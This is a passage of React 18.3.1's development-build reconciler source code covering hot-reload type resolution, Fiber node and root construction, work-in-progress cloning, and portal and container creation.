  var failedBoundaries = null;
  var setRefreshHandler = function (handler) {
    {
      resolveFamily = handler;
    }
  };
  function resolveFunctionForHotReloading(type) {
    {
      if (resolveFamily === null) {
        // Hot reloading is disabled.
        return type;
      }

      var family = resolveFamily(type);

      if (family === undefined) {
        return type;
      } // Use the latest known implementation.


      return family.current;
    }
  }
  function resolveClassForHotReloading(type) {
    // No implementation differences.
    return resolveFunctionForHotReloading(type);
  }
  function resolveForwardRefForHotReloading(type) {
    {
      if (resolveFamily === null) {
        // Hot reloading is disabled.
        return type;
      }

      var family = resolveFamily(type);

      if (family === undefined) {
        // Check if we're dealing with a real forwardRef. Don't want to crash early.
        if (type !== null && type !== undefined && typeof type.render === 'function') {
          // ForwardRef is special because its resolved .type is an object,
          // but it's possible that we only have its inner render function in the map.
          // If that inner render function is different, we'll build a new forwardRef type.
          var currentRender = resolveFunctionForHotReloading(type.render);

          if (type.render !== currentRender) {
            var syntheticType = {
              $$typeof: REACT_FORWARD_REF_TYPE,
              render: currentRender
            };

            if (type.displayName !== undefined) {
              syntheticType.displayName = type.displayName;
            }

            return syntheticType;
          }
        }

        return type;
      } // Use the latest known implementation.


      return family.current;
    }
  }
  function isCompatibleFamilyForHotReloading(fiber, element) {
    {
      if (resolveFamily === null) {
        // Hot reloading is disabled.
        return false;
      }

      var prevType = fiber.elementType;
      var nextType = element.type; // If we got here, we know types aren't === equal.

      var needsCompareFamilies = false;
      var $$typeofNextType = typeof nextType === 'object' && nextType !== null ? nextType.$$typeof : null;

      switch (fiber.tag) {
        case ClassComponent:
          {
            if (typeof nextType === 'function') {
              needsCompareFamilies = true;
            }

            break;
          }

        case FunctionComponent:
          {
            if (typeof nextType === 'function') {
              needsCompareFamilies = true;
            } else if ($$typeofNextType === REACT_LAZY_TYPE) {
              // We don't know the inner type yet.
              // We're going to assume that the lazy inner type is stable,
              // and so it is sufficient to avoid reconciling it away.
              // We're not going to unwrap or actually use the new lazy type.
              needsCompareFamilies = true;
            }

            break;
          }

        case ForwardRef:
          {
            if ($$typeofNextType === REACT_FORWARD_REF_TYPE) {
              needsCompareFamilies = true;
            } else if ($$typeofNextType === REACT_LAZY_TYPE) {
              needsCompareFamilies = true;
            }

            break;
          }

        case MemoComponent:
        case SimpleMemoComponent:
          {
            if ($$typeofNextType === REACT_MEMO_TYPE) {
              // TODO: if it was but can no longer be simple,
              // we shouldn't set this.
              needsCompareFamilies = true;
            } else if ($$typeofNextType === REACT_LAZY_TYPE) {
              needsCompareFamilies = true;
            }

            break;
          }

        default:
          return false;
      } // Check if both types have a family and it's the same one.


      if (needsCompareFamilies) {
        // Note: memo() and forwardRef() we'll compare outer rather than inner type.
        // This means both of them need to be registered to preserve state.
        // If we unwrapped and compared the inner types for wrappers instead,
        // then we would risk falsely saying two separate memo(Foo)
        // calls are equivalent because they wrap the same Foo function.
        var prevFamily = resolveFamily(prevType);

        if (prevFamily !== undefined && prevFamily === resolveFamily(nextType)) {
          return true;
        }
      }

      return false;
    }
  }
  function markFailedErrorBoundaryForHotReloading(fiber) {
    {
      if (resolveFamily === null) {
        // Hot reloading is disabled.
        return;
      }

      if (typeof WeakSet !== 'function') {
        return;
      }

      if (failedBoundaries === null) {
        failedBoundaries = new WeakSet();
      }

      failedBoundaries.add(fiber);
    }
  }
  var scheduleRefresh = function (root, update) {
    {
      if (resolveFamily === null) {
        // Hot reloading is disabled.
        return;
      }

      var staleFamilies = update.staleFamilies,
          updatedFamilies = update.updatedFamilies;
      flushPassiveEffects();
      flushSync(function () {
        scheduleFibersWithFamiliesRecursively(root.current, updatedFamilies, staleFamilies);
      });
    }
  };
  var scheduleRoot = function (root, element) {
    {
      if (root.context !== emptyContextObject) {
        // Super edge case: root has a legacy _renderSubtree context
        // but we don't know the parentComponent so we can't pass it.
        // Just ignore. We'll delete this with _renderSubtree code path later.
        return;
      }

      flushPassiveEffects();
      flushSync(function () {
        updateContainer(element, root, null, null);
      });
    }
  };

  function scheduleFibersWithFamiliesRecursively(fiber, updatedFamilies, staleFamilies) {
    {
      var alternate = fiber.alternate,
          child = fiber.child,
          sibling = fiber.sibling,
          tag = fiber.tag,
          type = fiber.type;
      var candidateType = null;

      switch (tag) {
        case FunctionComponent:
        case SimpleMemoComponent:
        case ClassComponent:
          candidateType = type;
          break;

        case ForwardRef:
          candidateType = type.render;
          break;
      }

      if (resolveFamily === null) {
        throw new Error('Expected resolveFamily to be set during hot reload.');
      }

      var needsRender = false;
      var needsRemount = false;

      if (candidateType !== null) {
        var family = resolveFamily(candidateType);

        if (family !== undefined) {
          if (staleFamilies.has(family)) {
            needsRemount = true;
          } else if (updatedFamilies.has(family)) {
            if (tag === ClassComponent) {
              needsRemount = true;
            } else {
              needsRender = true;
            }
          }
        }
      }

      if (failedBoundaries !== null) {
        if (failedBoundaries.has(fiber) || alternate !== null && failedBoundaries.has(alternate)) {
          needsRemount = true;
        }
      }

      if (needsRemount) {
        fiber._debugNeedsRemount = true;
      }

      if (needsRemount || needsRender) {
        var _root = enqueueConcurrentRenderForLane(fiber, SyncLane);

        if (_root !== null) {
          scheduleUpdateOnFiber(_root, fiber, SyncLane, NoTimestamp);
        }
      }

      if (child !== null && !needsRemount) {
        scheduleFibersWithFamiliesRecursively(child, updatedFamilies, staleFamilies);
      }

      if (sibling !== null) {
        scheduleFibersWithFamiliesRecursively(sibling, updatedFamilies, staleFamilies);
      }
    }
  }

  var findHostInstancesForRefresh = function (root, families) {
    {
      var hostInstances = new Set();
      var types = new Set(families.map(function (family) {
        return family.current;
      }));
      findHostInstancesForMatchingFibersRecursively(root.current, types, hostInstances);
      return hostInstances;
    }
  };

  function findHostInstancesForMatchingFibersRecursively(fiber, types, hostInstances) {
    {
      var child = fiber.child,
          sibling = fiber.sibling,
          tag = fiber.tag,
          type = fiber.type;
      var candidateType = null;

      switch (tag) {
        case FunctionComponent:
        case SimpleMemoComponent:
        case ClassComponent:
          candidateType = type;
          break;

        case ForwardRef:
          candidateType = type.render;
          break;
      }

      var didMatch = false;

      if (candidateType !== null) {
        if (types.has(candidateType)) {
          didMatch = true;
        }
      }

      if (didMatch) {
        // We have a match. This only drills down to the closest host components.
        // There's no need to search deeper because for the purpose of giving
        // visual feedback, "flashing" outermost parent rectangles is sufficient.
        findHostInstancesForFiberShallowly(fiber, hostInstances);
      } else {
        // If there's no match, maybe there will be one further down in the child tree.
        if (child !== null) {
          findHostInstancesForMatchingFibersRecursively(child, types, hostInstances);
        }
      }

      if (sibling !== null) {
        findHostInstancesForMatchingFibersRecursively(sibling, types, hostInstances);
      }
    }
  }

  function findHostInstancesForFiberShallowly(fiber, hostInstances) {
    {
      var foundHostInstances = findChildHostInstancesForFiberShallowly(fiber, hostInstances);

      if (foundHostInstances) {
        return;
      } // If we didn't find any host children, fallback to closest host parent.


      var node = fiber;

      while (true) {
        switch (node.tag) {
          case HostComponent:
            hostInstances.add(node.stateNode);
            return;

          case HostPortal:
            hostInstances.add(node.stateNode.containerInfo);
            return;

          case HostRoot:
            hostInstances.add(node.stateNode.containerInfo);
            return;
        }

        if (node.return === null) {
          throw new Error('Expected to reach root first.');
        }

        node = node.return;
      }
    }
  }

  function findChildHostInstancesForFiberShallowly(fiber, hostInstances) {
    {
      var node = fiber;
      var foundHostInstances = false;

      while (true) {
        if (node.tag === HostComponent) {
          // We got a match.
          foundHostInstances = true;
          hostInstances.add(node.stateNode); // There may still be more, so keep searching.
        } else if (node.child !== null) {
          node.child.return = node;
          node = node.child;
          continue;
        }

        if (node === fiber) {
          return foundHostInstances;
        }

        while (node.sibling === null) {
          if (node.return === null || node.return === fiber) {
            return foundHostInstances;
          }

          node = node.return;
        }

        node.sibling.return = node.return;
        node = node.sibling;
      }
    }

    return false;
  }

  var hasBadMapPolyfill;

  {
    hasBadMapPolyfill = false;

    try {
      var nonExtensibleObject = Object.preventExtensions({});
      /* eslint-disable no-new */

      new Map([[nonExtensibleObject, null]]);
      new Set([nonExtensibleObject]);
      /* eslint-enable no-new */
    } catch (e) {
      // TODO: Consider warning about bad polyfills
      hasBadMapPolyfill = true;
    }
  }

  function FiberNode(tag, pendingProps, key, mode) {
    // Instance
    this.tag = tag;
    this.key = key;
    this.elementType = null;
    this.type = null;
    this.stateNode = null; // Fiber

    this.return = null;
    this.child = null;
    this.sibling = null;
    this.index = 0;
    this.ref = null;
    this.pendingProps = pendingProps;
    this.memoizedProps = null;
    this.updateQueue = null;
    this.memoizedState = null;
    this.dependencies = null;
    this.mode = mode; // Effects

    this.flags = NoFlags;
    this.subtreeFlags = NoFlags;
    this.deletions = null;
    this.lanes = NoLanes;
    this.childLanes = NoLanes;
    this.alternate = null;

    {
      // Note: The following is done to avoid a v8 performance cliff.
      //
      // Initializing the fields below to smis and later updating them with
      // double values will cause Fibers to end up having separate shapes.
      // This behavior/bug has something to do with Object.preventExtension().
      // Fortunately this only impacts DEV builds.
      // Unfortunately it makes React unusably slow for some applications.
      // To work around this, initialize the fields below with doubles.
      //
      // Learn more about this here:
      // https://github.com/facebook/react/issues/14365
      // https://bugs.chromium.org/p/v8/issues/detail?id=8538
      this.actualDuration = Number.NaN;
      this.actualStartTime = Number.NaN;
      this.selfBaseDuration = Number.NaN;
      this.treeBaseDuration = Number.NaN; // It's okay to replace the initial doubles with smis after initialization.
      // This won't trigger the performance cliff mentioned above,
      // and it simplifies other profiler code (including DevTools).

      this.actualDuration = 0;
      this.actualStartTime = -1;
      this.selfBaseDuration = 0;
      this.treeBaseDuration = 0;
    }

    {
      // This isn't directly used but is handy for debugging internals:
      this._debugSource = null;
      this._debugOwner = null;
      this._debugNeedsRemount = false;
      this._debugHookTypes = null;

      if (!hasBadMapPolyfill && typeof Object.preventExtensions === 'function') {
        Object.preventExtensions(this);
      }
    }
  } // This is a constructor function, rather than a POJO constructor, still
  // please ensure we do the following:
  // 1) Nobody should add any instance methods on this. Instance methods can be
  //    more difficult to predict when they get optimized and they are almost
  //    never inlined properly in static compilers.
  // 2) Nobody should rely on `instanceof Fiber` for type testing. We should
  //    always know when it is a fiber.
  // 3) We might want to experiment with using numeric keys since they are easier
  //    to optimize in a non-JIT environment.
  // 4) We can easily go from a constructor to a createFiber object literal if that
  //    is faster.
  // 5) It should be easy to port this to a C struct and keep a C implementation
  //    compatible.


  var createFiber = function (tag, pendingProps, key, mode) {
    // $FlowFixMe: the shapes are exact here but Flow doesn't like constructors
    return new FiberNode(tag, pendingProps, key, mode);
  };

  function shouldConstruct$1(Component) {
    var prototype = Component.prototype;
    return !!(prototype && prototype.isReactComponent);
  }

  function isSimpleFunctionComponent(type) {
    return typeof type === 'function' && !shouldConstruct$1(type) && type.defaultProps === undefined;
  }
  function resolveLazyComponentTag(Component) {
    if (typeof Component === 'function') {
      return shouldConstruct$1(Component) ? ClassComponent : FunctionComponent;
    } else if (Component !== undefined && Component !== null) {
      var $$typeof = Component.$$typeof;

      if ($$typeof === REACT_FORWARD_REF_TYPE) {
        return ForwardRef;
      }

      if ($$typeof === REACT_MEMO_TYPE) {
        return MemoComponent;
      }
    }

    return IndeterminateComponent;
  } // This is used to create an alternate fiber to do work on.

  function createWorkInProgress(current, pendingProps) {
    var workInProgress = current.alternate;

    if (workInProgress === null) {
      // We use a double buffering pooling technique because we know that we'll
      // only ever need at most two versions of a tree. We pool the "other" unused
      // node that we're free to reuse. This is lazily created to avoid allocating
      // extra objects for things that are never updated. It also allow us to
      // reclaim the extra memory if needed.
      workInProgress = createFiber(current.tag, pendingProps, current.key, current.mode);
      workInProgress.elementType = current.elementType;
      workInProgress.type = current.type;
      workInProgress.stateNode = current.stateNode;

      {
        // DEV-only fields
        workInProgress._debugSource = current._debugSource;
        workInProgress._debugOwner = current._debugOwner;
        workInProgress._debugHookTypes = current._debugHookTypes;
      }

      workInProgress.alternate = current;
      current.alternate = workInProgress;
    } else {
      workInProgress.pendingProps = pendingProps; // Needed because Blocks store data on type.

      workInProgress.type = current.type; // We already have an alternate.
      // Reset the effect tag.

      workInProgress.flags = NoFlags; // The effects are no longer valid.

      workInProgress.subtreeFlags = NoFlags;
      workInProgress.deletions = null;

      {
        // We intentionally reset, rather than copy, actualDuration & actualStartTime.
        // This prevents time from endlessly accumulating in new commits.
        // This has the downside of resetting values for different priority renders,
        // But works for yielding (the common case) and should support resuming.
        workInProgress.actualDuration = 0;
        workInProgress.actualStartTime = -1;
      }
    } // Reset all effects except static ones.
    // Static effects are not specific to a render.


    workInProgress.flags = current.flags & StaticMask;
    workInProgress.childLanes = current.childLanes;
    workInProgress.lanes = current.lanes;
    workInProgress.child = current.child;
    workInProgress.memoizedProps = current.memoizedProps;
    workInProgress.memoizedState = current.memoizedState;
    workInProgress.updateQueue = current.updateQueue; // Clone the dependencies object. This is mutated during the render phase, so
    // it cannot be shared with the current fiber.

    var currentDependencies = current.dependencies;
    workInProgress.dependencies = currentDependencies === null ? null : {
      lanes: currentDependencies.lanes,
      firstContext: currentDependencies.firstContext
    }; // These will be overridden during the parent's reconciliation

    workInProgress.sibling = current.sibling;
    workInProgress.index = current.index;
    workInProgress.ref = current.ref;

    {
      workInProgress.selfBaseDuration = current.selfBaseDuration;
      workInProgress.treeBaseDuration = current.treeBaseDuration;
    }

    {
      workInProgress._debugNeedsRemount = current._debugNeedsRemount;

      switch (workInProgress.tag) {
        case IndeterminateComponent:
        case FunctionComponent:
        case SimpleMemoComponent:
          workInProgress.type = resolveFunctionForHotReloading(current.type);
          break;

        case ClassComponent:
          workInProgress.type = resolveClassForHotReloading(current.type);
          break;

        case ForwardRef:
          workInProgress.type = resolveForwardRefForHotReloading(current.type);
          break;
      }
    }

    return workInProgress;
  } // Used to reuse a Fiber for a second pass.

  function resetWorkInProgress(workInProgress, renderLanes) {
    // This resets the Fiber to what createFiber or createWorkInProgress would
    // have set the values to before during the first pass. Ideally this wouldn't
    // be necessary but unfortunately many code paths reads from the workInProgress
    // when they should be reading from current and writing to workInProgress.
    // We assume pendingProps, index, key, ref, return are still untouched to
    // avoid doing another reconciliation.
    // Reset the effect flags but keep any Placement tags, since that's something
    // that child fiber is setting, not the reconciliation.
    workInProgress.flags &= StaticMask | Placement; // The effects are no longer valid.

    var current = workInProgress.alternate;

    if (current === null) {
      // Reset to createFiber's initial values.
      workInProgress.childLanes = NoLanes;
      workInProgress.lanes = renderLanes;
      workInProgress.child = null;
      workInProgress.subtreeFlags = NoFlags;
      workInProgress.memoizedProps = null;
      workInProgress.memoizedState = null;
      workInProgress.updateQueue = null;
      workInProgress.dependencies = null;
      workInProgress.stateNode = null;

      {
        // Note: We don't reset the actualTime counts. It's useful to accumulate
        // actual time across multiple render passes.
        workInProgress.selfBaseDuration = 0;
        workInProgress.treeBaseDuration = 0;
      }
    } else {
      // Reset to the cloned values that createWorkInProgress would've.
      workInProgress.childLanes = current.childLanes;
      workInProgress.lanes = current.lanes;
      workInProgress.child = current.child;
      workInProgress.subtreeFlags = NoFlags;
      workInProgress.deletions = null;
      workInProgress.memoizedProps = current.memoizedProps;
      workInProgress.memoizedState = current.memoizedState;
      workInProgress.updateQueue = current.updateQueue; // Needed because Blocks store data on type.

      workInProgress.type = current.type; // Clone the dependencies object. This is mutated during the render phase, so
      // it cannot be shared with the current fiber.

      var currentDependencies = current.dependencies;
      workInProgress.dependencies = currentDependencies === null ? null : {
        lanes: currentDependencies.lanes,
        firstContext: currentDependencies.firstContext
      };

      {
        // Note: We don't reset the actualTime counts. It's useful to accumulate
        // actual time across multiple render passes.
        workInProgress.selfBaseDuration = current.selfBaseDuration;
        workInProgress.treeBaseDuration = current.treeBaseDuration;
      }
    }

    return workInProgress;
  }
  function createHostRootFiber(tag, isStrictMode, concurrentUpdatesByDefaultOverride) {
    var mode;

    if (tag === ConcurrentRoot) {
      mode = ConcurrentMode;

      if (isStrictMode === true) {
        mode |= StrictLegacyMode;

        {
          mode |= StrictEffectsMode;
        }
      }
    } else {
      mode = NoMode;
    }

    if ( isDevToolsPresent) {
      // Always collect profile timings when DevTools are present.
      // This enables DevTools to start capturing timing at any point–
      // Without some nodes in the tree having empty base times.
      mode |= ProfileMode;
    }

    return createFiber(HostRoot, null, null, mode);
  }
  function createFiberFromTypeAndProps(type, // React$ElementType
  key, pendingProps, owner, mode, lanes) {
    var fiberTag = IndeterminateComponent; // The resolved type is set if we know what the final type will be. I.e. it's not lazy.

    var resolvedType = type;

    if (typeof type === 'function') {
      if (shouldConstruct$1(type)) {
        fiberTag = ClassComponent;

        {
          resolvedType = resolveClassForHotReloading(resolvedType);
        }
      } else {
        {
          resolvedType = resolveFunctionForHotReloading(resolvedType);
        }
      }
    } else if (typeof type === 'string') {
      fiberTag = HostComponent;
    } else {
      getTag: switch (type) {
        case REACT_FRAGMENT_TYPE:
          return createFiberFromFragment(pendingProps.children, mode, lanes, key);

        case REACT_STRICT_MODE_TYPE:
          fiberTag = Mode;
          mode |= StrictLegacyMode;

          if ( (mode & ConcurrentMode) !== NoMode) {
            // Strict effects should never run on legacy roots
            mode |= StrictEffectsMode;
          }

          break;

        case REACT_PROFILER_TYPE:
          return createFiberFromProfiler(pendingProps, mode, lanes, key);

        case REACT_SUSPENSE_TYPE:
          return createFiberFromSuspense(pendingProps, mode, lanes, key);

        case REACT_SUSPENSE_LIST_TYPE:
          return createFiberFromSuspenseList(pendingProps, mode, lanes, key);

        case REACT_OFFSCREEN_TYPE:
          return createFiberFromOffscreen(pendingProps, mode, lanes, key);

        case REACT_LEGACY_HIDDEN_TYPE:

        // eslint-disable-next-line no-fallthrough

        case REACT_SCOPE_TYPE:

        // eslint-disable-next-line no-fallthrough

        case REACT_CACHE_TYPE:

        // eslint-disable-next-line no-fallthrough

        case REACT_TRACING_MARKER_TYPE:

        // eslint-disable-next-line no-fallthrough

        case REACT_DEBUG_TRACING_MODE_TYPE:

        // eslint-disable-next-line no-fallthrough

        default:
          {
            if (typeof type === 'object' && type !== null) {
              switch (type.$$typeof) {
                case REACT_PROVIDER_TYPE:
                  fiberTag = ContextProvider;
                  break getTag;

                case REACT_CONTEXT_TYPE:
                  // This is a consumer
                  fiberTag = ContextConsumer;
                  break getTag;

                case REACT_FORWARD_REF_TYPE:
                  fiberTag = ForwardRef;

                  {
                    resolvedType = resolveForwardRefForHotReloading(resolvedType);
                  }

                  break getTag;

                case REACT_MEMO_TYPE:
                  fiberTag = MemoComponent;
                  break getTag;

                case REACT_LAZY_TYPE:
                  fiberTag = LazyComponent;
                  resolvedType = null;
                  break getTag;
              }
            }

            var info = '';

            {
              if (type === undefined || typeof type === 'object' && type !== null && Object.keys(type).length === 0) {
                info += ' You likely forgot to export your component from the file ' + "it's defined in, or you might have mixed up default and " + 'named imports.';
              }

              var ownerName = owner ? getComponentNameFromFiber(owner) : null;

              if (ownerName) {
                info += '\n\nCheck the render method of `' + ownerName + '`.';
              }
            }

            throw new Error('Element type is invalid: expected a string (for built-in ' + 'components) or a class/function (for composite components) ' + ("but got: " + (type == null ? type : typeof type) + "." + info));
          }
      }
    }

    var fiber = createFiber(fiberTag, pendingProps, key, mode);
    fiber.elementType = type;
    fiber.type = resolvedType;
    fiber.lanes = lanes;

    {
      fiber._debugOwner = owner;
    }

    return fiber;
  }
  function createFiberFromElement(element, mode, lanes) {
    var owner = null;

    {
      owner = element._owner;
    }

    var type = element.type;
    var key = element.key;
    var pendingProps = element.props;
    var fiber = createFiberFromTypeAndProps(type, key, pendingProps, owner, mode, lanes);

    {
      fiber._debugSource = element._source;
      fiber._debugOwner = element._owner;
    }

    return fiber;
  }
  function createFiberFromFragment(elements, mode, lanes, key) {
    var fiber = createFiber(Fragment, elements, key, mode);
    fiber.lanes = lanes;
    return fiber;
  }

  function createFiberFromProfiler(pendingProps, mode, lanes, key) {
    {
      if (typeof pendingProps.id !== 'string') {
        error('Profiler must specify an "id" of type `string` as a prop. Received the type `%s` instead.', typeof pendingProps.id);
      }
    }

    var fiber = createFiber(Profiler, pendingProps, key, mode | ProfileMode);
    fiber.elementType = REACT_PROFILER_TYPE;
    fiber.lanes = lanes;

    {
      fiber.stateNode = {
        effectDuration: 0,
        passiveEffectDuration: 0
      };
    }

    return fiber;
  }

  function createFiberFromSuspense(pendingProps, mode, lanes, key) {
    var fiber = createFiber(SuspenseComponent, pendingProps, key, mode);
    fiber.elementType = REACT_SUSPENSE_TYPE;
    fiber.lanes = lanes;
    return fiber;
  }
  function createFiberFromSuspenseList(pendingProps, mode, lanes, key) {
    var fiber = createFiber(SuspenseListComponent, pendingProps, key, mode);
    fiber.elementType = REACT_SUSPENSE_LIST_TYPE;
    fiber.lanes = lanes;
    return fiber;
  }
  function createFiberFromOffscreen(pendingProps, mode, lanes, key) {
    var fiber = createFiber(OffscreenComponent, pendingProps, key, mode);
    fiber.elementType = REACT_OFFSCREEN_TYPE;
    fiber.lanes = lanes;
    var primaryChildInstance = {
      isHidden: false
    };
    fiber.stateNode = primaryChildInstance;
    return fiber;
  }
  function createFiberFromText(content, mode, lanes) {
    var fiber = createFiber(HostText, content, null, mode);
    fiber.lanes = lanes;
    return fiber;
  }
  function createFiberFromHostInstanceForDeletion() {
    var fiber = createFiber(HostComponent, null, null, NoMode);
    fiber.elementType = 'DELETED';
    return fiber;
  }
  function createFiberFromDehydratedFragment(dehydratedNode) {
    var fiber = createFiber(DehydratedFragment, null, null, NoMode);
    fiber.stateNode = dehydratedNode;
    return fiber;
  }
  function createFiberFromPortal(portal, mode, lanes) {
    var pendingProps = portal.children !== null ? portal.children : [];
    var fiber = createFiber(HostPortal, pendingProps, portal.key, mode);
    fiber.lanes = lanes;
    fiber.stateNode = {
      containerInfo: portal.containerInfo,
      pendingChildren: null,
      // Used by persistent updates
      implementation: portal.implementation
    };
    return fiber;
  } // Used for stashing WIP properties to replay failed work in DEV.

  function assignFiberPropertiesInDEV(target, source) {
    if (target === null) {
      // This Fiber's initial properties will always be overwritten.
      // We only use a Fiber to ensure the same hidden class so DEV isn't slow.
      target = createFiber(IndeterminateComponent, null, null, NoMode);
    } // This is intentionally written as a list of all properties.
    // We tried to use Object.assign() instead but this is called in
    // the hottest path, and Object.assign() was too slow:
    // https://github.com/facebook/react/issues/12502
    // This code is DEV-only so size is not a concern.


    target.tag = source.tag;
    target.key = source.key;
    target.elementType = source.elementType;
    target.type = source.type;
    target.stateNode = source.stateNode;
    target.return = source.return;
    target.child = source.child;
    target.sibling = source.sibling;
    target.index = source.index;
    target.ref = source.ref;
    target.pendingProps = source.pendingProps;
    target.memoizedProps = source.memoizedProps;
    target.updateQueue = source.updateQueue;
    target.memoizedState = source.memoizedState;
    target.dependencies = source.dependencies;
    target.mode = source.mode;
    target.flags = source.flags;
    target.subtreeFlags = source.subtreeFlags;
    target.deletions = source.deletions;
    target.lanes = source.lanes;
    target.childLanes = source.childLanes;
    target.alternate = source.alternate;

    {
      target.actualDuration = source.actualDuration;
      target.actualStartTime = source.actualStartTime;
      target.selfBaseDuration = source.selfBaseDuration;
      target.treeBaseDuration = source.treeBaseDuration;
    }

    target._debugSource = source._debugSource;
    target._debugOwner = source._debugOwner;
    target._debugNeedsRemount = source._debugNeedsRemount;
    target._debugHookTypes = source._debugHookTypes;
    return target;
  }

  function FiberRootNode(containerInfo, tag, hydrate, identifierPrefix, onRecoverableError) {
    this.tag = tag;
    this.containerInfo = containerInfo;
    this.pendingChildren = null;
    this.current = null;
    this.pingCache = null;
    this.finishedWork = null;
    this.timeoutHandle = noTimeout;
    this.context = null;
    this.pendingContext = null;
    this.callbackNode = null;
    this.callbackPriority = NoLane;
    this.eventTimes = createLaneMap(NoLanes);
    this.expirationTimes = createLaneMap(NoTimestamp);
    this.pendingLanes = NoLanes;
    this.suspendedLanes = NoLanes;
    this.pingedLanes = NoLanes;
    this.expiredLanes = NoLanes;
    this.mutableReadLanes = NoLanes;
    this.finishedLanes = NoLanes;
    this.entangledLanes = NoLanes;
    this.entanglements = createLaneMap(NoLanes);
    this.identifierPrefix = identifierPrefix;
    this.onRecoverableError = onRecoverableError;

    {
      this.mutableSourceEagerHydrationData = null;
    }

    {
      this.effectDuration = 0;
      this.passiveEffectDuration = 0;
    }

    {
      this.memoizedUpdaters = new Set();
      var pendingUpdatersLaneMap = this.pendingUpdatersLaneMap = [];

      for (var _i = 0; _i < TotalLanes; _i++) {
        pendingUpdatersLaneMap.push(new Set());
      }
    }

    {
      switch (tag) {
        case ConcurrentRoot:
          this._debugRootType = hydrate ? 'hydrateRoot()' : 'createRoot()';
          break;

        case LegacyRoot:
          this._debugRootType = hydrate ? 'hydrate()' : 'render()';
          break;
      }
    }
  }

  function createFiberRoot(containerInfo, tag, hydrate, initialChildren, hydrationCallbacks, isStrictMode, concurrentUpdatesByDefaultOverride, // TODO: We have several of these arguments that are conceptually part of the
  // host config, but because they are passed in at runtime, we have to thread
  // them through the root constructor. Perhaps we should put them all into a
  // single type, like a DynamicHostConfig that is defined by the renderer.
  identifierPrefix, onRecoverableError, transitionCallbacks) {
    var root = new FiberRootNode(containerInfo, tag, hydrate, identifierPrefix, onRecoverableError);
    // stateNode is any.


    var uninitializedFiber = createHostRootFiber(tag, isStrictMode);
    root.current = uninitializedFiber;
    uninitializedFiber.stateNode = root;

    {
      var _initialState = {
        element: initialChildren,
        isDehydrated: hydrate,
        cache: null,
        // not enabled yet
        transitions: null,
        pendingSuspenseBoundaries: null
      };
      uninitializedFiber.memoizedState = _initialState;
    }

    initializeUpdateQueue(uninitializedFiber);
    return root;
  }

  var ReactVersion = '18.3.1';

  function createPortal(children, containerInfo, // TODO: figure out the API for cross-renderer implementation.
  implementation) {
    var key = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : null;

    {
      checkKeyStringCoercion(key);
    }

    return {
      // This tag allow us to uniquely identify this as a React Portal
      $$typeof: REACT_PORTAL_TYPE,
      key: key == null ? null : '' + key,
      children: children,
      containerInfo: containerInfo,
      implementation: implementation
    };
  }

  var didWarnAboutNestedUpdates;
  var didWarnAboutFindNodeInStrictMode;

  {
    didWarnAboutNestedUpdates = false;
    didWarnAboutFindNodeInStrictMode = {};
  }

  function getContextForSubtree(parentComponent) {
    if (!parentComponent) {
      return emptyContextObject;
    }

    var fiber = get(parentComponent);
    var parentContext = findCurrentUnmaskedContext(fiber);

    if (fiber.tag === ClassComponent) {
      var Component = fiber.type;

      if (isContextProvider(Component)) {
        return processChildContext(fiber, Component, parentContext);
      }
    }

    return parentContext;
  }

  function findHostInstanceWithWarning(component, methodName) {
    {
      var fiber = get(component);

      if (fiber === undefined) {
        if (typeof component.render === 'function') {
          throw new Error('Unable to find node on an unmounted component.');
        } else {
          var keys = Object.keys(component).join(',');
          throw new Error("Argument appears to not be a ReactComponent. Keys: " + keys);
        }
      }

      var hostFiber = findCurrentHostFiber(fiber);

      if (hostFiber === null) {
        return null;
      }

      if (hostFiber.mode & StrictLegacyMode) {
        var componentName = getComponentNameFromFiber(fiber) || 'Component';

        if (!didWarnAboutFindNodeInStrictMode[componentName]) {
          didWarnAboutFindNodeInStrictMode[componentName] = true;
          var previousFiber = current;

          try {
            setCurrentFiber(hostFiber);

            if (fiber.mode & StrictLegacyMode) {
              error('%s is deprecated in StrictMode. ' + '%s was passed an instance of %s which is inside StrictMode. ' + 'Instead, add a ref directly to the element you want to reference. ' + 'Learn more about using refs safely here: ' + 'https://reactjs.org/link/strict-mode-find-node', methodName, methodName, componentName);
            } else {
              error('%s is deprecated in StrictMode. ' + '%s was passed an instance of %s which renders StrictMode children. ' + 'Instead, add a ref directly to the element you want to reference. ' + 'Learn more about using refs safely here: ' + 'https://reactjs.org/link/strict-mode-find-node', methodName, methodName, componentName);
            }
          } finally {
            // Ideally this should reset to previous but this shouldn't be called in
            // render and there's another warning for that anyway.
            if (previousFiber) {
              setCurrentFiber(previousFiber);
            } else {
              resetCurrentFiber();
            }
          }
        }
      }

      return hostFiber.stateNode;
    }
  }

  function createContainer(containerInfo, tag, hydrationCallbacks, isStrictMode, concurrentUpdatesByDefaultOverride, identifierPrefix, onRecoverableError, transitionCallbacks) {
    var hydrate = false;
    var initialChildren = null;
    return createFiberRoot(containerInfo, tag, hydrate, initialChildren, hydrationCallbacks, isStrictMode, concurrentUpdatesByDefaultOverride, identifierPrefix, onRecoverableError);
  }
  function createHydrationContainer(initialChildren, // TODO: Remove `callback` when we delete legacy mode.
  callback, containerInfo, tag, hydrationCallbacks, isStrictMode, concurrentUpdatesByDefaultOverride, identifierPrefix, onRecoverableError, transitionCallbacks) {
    var hydrate = true;
    var root = createFiberRoot(containerInfo, tag, hydrate, initialChildren, hydrationCallbacks, isStrictMode, concurrentUpdatesByDefaultOverride, identifierPrefix, onRecoverableError); // TODO: Move this to FiberRoot constructor

    root.context = getContextForSubtree(null); // Schedule the initial render. In a hydration root, this is different from
    // a regular update because the initial render must match was was rendered
    // on the server.
    // NOTE: This update intentionally doesn't have a payload. We're only using
    // the update to schedule work on the root fiber (and, for legacy roots, to
    // enqueue the callback if one is provided).

    var current = root.current;
    var eventTime = requestEventTime();
    var lane = requestUpdateLane(current);
    var update = createUpdate(eventTime, lane);
    update.callback = callback !== undefined && callback !== null ? callback : null;
    enqueueUpdate(current, update, lane);
    scheduleInitialHydrationOnRoot(root, lane, eventTime);
    return root;
  }
  function updateContainer(element, container, parentComponent, callback) {
    {
      onScheduleRoot(container, element);
    }

    var current$1 = container.current;
    var eventTime = requestEventTime();
    var lane = requestUpdateLane(current$1);

    {
      markRenderScheduled(lane);
    }

    var context = getContextForSubtree(parentComponent);

    if (container.context === null) {
      container.context = context;
    } else {
      container.pendingContext = context;
    }

    {
      if (isRendering && current !== null && !didWarnAboutNestedUpdates) {
        didWarnAboutNestedUpdates = true;

